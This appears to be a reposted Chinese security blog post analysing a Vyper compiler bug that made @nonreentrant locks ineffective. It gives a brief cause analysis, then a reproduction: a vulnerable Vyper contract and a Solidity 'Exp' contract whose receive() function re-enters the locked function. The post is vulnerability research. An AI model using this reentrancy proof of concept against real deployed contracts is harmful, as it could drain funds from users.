事件背景
原因分析
check_notset = ["assert", ["ne", temp_value, [LOAD, nkey]]] 这个语句的意思是使用load指令读取重入flag的slot，将值存入临时变量中，并断言这个值是否为真。set_data_positions 函数的功能是设置一个合约中所有变量在slot中的位置
官方修复
漏洞复现
@nonreentrant("lock")
@external
def a(contract: address):
value: uint256 = 0
raw_call(contract, b"",value=value)
@nonreentrant("lock")
@external
def b():
pass
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.13;
import "./Itest.sol";
contract Exp{
Itest public test;
uint256 public times;
constructor(address _test) {
test = Itest(_test);
}
function go() public {
test.a(address(this));
}
receive () external payable {
if (times == 0) {
times++;
// test.b();
test.a(address(0));
}
}
}
https://github.com/wangbar0133/vyper_0215
原文始发于微信公众号（山石网科安全技术研究院）：Vyper 智能合约重入锁防御失效漏洞分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论